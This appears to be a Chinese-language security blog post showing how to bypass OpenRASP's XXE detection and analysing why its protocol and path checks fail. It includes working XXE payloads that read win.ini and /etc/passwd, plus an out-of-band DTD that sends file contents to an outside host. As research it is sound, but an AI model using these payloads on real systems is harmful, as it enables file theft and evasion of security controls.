OpenRasp xxe算法的几种绕过方式

 

openrasp检测xxe漏洞有3种算法。本文主要是讲对“算法2 – 使用 ftp:// 等异常协议加载外部实体”与”算法3 – 使用 file:// 协议读取文件”的绕过。

测试环境

windows / tomcat
目前openrasp最新版本是1.3.7-beta。

官网安装说明,https://rasp.baidu.com/doc/install/software.html。
按照官网说明安装完后,把官方提供的测试案例vulns.war放入tomcat下webapp目录即可。
此处装的是单机模式,没有管理后台,还需要修改tomcat根目录下rasp/plugins/official.js中如下配置,以开启拦截。

环境部署完后,访问vulns测试案例。响应头里面如果有openrasp字样,说明openrasp部署成功。

 

openrasp xxe算法

openrasp对xxe漏洞有3种检测算法。

算法1
开启算法1后,openrasp会在解析器解析xml之前,通过反射调用解析器对象的setFeature()方法,让解析器不解析xml的外部实体,相当于openrasp会自动修复xxe漏洞。
以java dom方式解析xml为例

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 从效果上讲,算法1相当于openrasp会自动添加并运行下面这一行代码
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);  // 禁用DTDs (doctypes),几乎可以防御所有xml实体攻击。
DocumentBuilder builder = factory.newDocumentBuilder();
Document d = builder.parse("src/main/resources/demo.xml");    // 解析XML

考虑到正常业务可能也会使用到外部实体,该算法默认配置是ignore,相当于关闭。

算法2
根据注释可以看出,算法2会通过黑名单机制检查是否使用异常协议加载外部实体。目前黑名单会检查ftp、dict、gopher、jar、netdoc这几种协议。算法2默认开启拦截。

算法3
从注释可以看出,算法3会检查file协议的使用情况,默认不拦截,读取不”正常”文件也只是记录日志。

 

算法3 – 使用file://协议读取文件绕过

windows环境

默认算法3配置为log,不拦截。由于是部署在windows上,点击页面中第二个URL链接,成功读取到c:/windows/win.ini文件内容。

给007-xxe.jsp文件发送的data参数值url解码后内容如下

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [   <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>

修改official.js文件,配置算法3为block。

再次触发上述请求,openrasp就会进行拦截。

burpsuite中该请求和响应内容如下

删除请求data参数中file协议后面2个/字符,即%2F,就能成功绕过openrasp了。

删除请求data参数中file协议后面3个/字符,也能绕过。

如之前所述,正常使用file协议读取文件,xxe算法3开启后,openrasp会拦截

file:///c:/windows/win.ini
file:///etc/passwd

但使用如下方式,就能成功绕过xxe算法3了

file:/c:/windows/win.ini        // 删除file协议后面2个/
file:c:/windows/win.ini            // 删除file协议后面3个/

算法3还有另外一种绕过方法。

file://localhost/c:/windows/win.ini

验证如下

Linux环境

file:/etc/passwd    // 可以
file:etc/passwd        // 失败
file://localhost/etc/passwd     // 可以

file:etc/passwd没有被拦截,但也读取不到文件。但可以修改后使用下面这个payload,就能读取到/etc/passwd文件内容了。

file:../../../../../../../../etc/passwd

 

算法2 – 使用ftp://等异常协议加载外部实体绕过

算法2默认开启拦截。为了方便,把上面的算法3拦截关闭,修改为默认值log。

先拿xxe ftp的测试payload试下。给007-xxe.jsp的data参数传递如下值

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://127.0.0.1:9000/1.dtd">
%remote;
%send;
]>
<data>4</data>

1.dtd文件内容如下。(因为openrasp会拦截,所以就不用起一个ftp服务,所以ftp协议后的主机地址没改。)

<!ENTITY % payload SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;

可以看到触发了拦截。

此时只要把1.dtd文件中ftp改为netdoc,并同样删除后面2个/。修改后1.dtd的内容如下。

<!ENTITY % payload SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'netdoc:publicServer.com/%payload;'>">
%param1;

再重放上面的请求。这个时候openrasp不会拦截,但报错语句中显示了c:/windows/win.ini的文件内容。

这种绕过如果java关闭了报错,应该就不行了。测试时发现即使算法3也同时开启了拦截,依然会报错显示被读取的文件内容。

 

绕过原理简单分析

算法3开启拦截后,发送如下请求

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [   <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>

official.js接收到openrasp agent传递过来的params值,其中params.entity的值是”file:///c:/windows/win.ini”。
按照”://“切割params.entity值后,生成一个数组items。items数组的第一元素保存了使用的协议,即”file”,第二元素保存了要读取的文件的位置,即”/c:/windows/win.ini”。由于items.length等于2,所以会进入下面第二个箭头处的if语句内。又由于满足下面第三个箭头处的if语句条件,所以会进入该if语句进而触发拦截。

当发送如下请求时

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [   <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:/c:/windows/win.ini" >]><foo>&xxe;</foo>

或者

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [   <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:c:/windows/win.ini" >]><foo>&xxe;</foo>

params.entity的值会是”file:/c:/windows/win.ini” 或者”file:c:/windows/win.ini” ,按照”://“进行切割,生成的items数组长度永远小于2,所以会直接运行到末尾的”return clean”处,从而绕过。

当发送如下请求时

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [   <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file://localhost/c:/windows/win.ini" >]><foo>&xxe;</foo>

上面is_absolute_path()函数中path参数值会是”localhost/c:/windows/win.ini”。linux系统情况时,path的值会是类似”localhost/etc/passwd”。分析函数代码,可以看出这种情况下is_absolute_path()函数返回值永远是false。

function is_absolute_path(path, is_windows) {

    // Windows - C:\\windows
    if (is_windows) {

        if (path[1] == ':')
        {
            var drive = path[0].toLowerCase()
            if (drive >= 'a' && drive <= 'z')
            {
                return true
            }
        }
    }

    // Unices - /root/
    return path[0] === '/'
}

 

参考

file URI scheme
XXE修复方案参考

(完)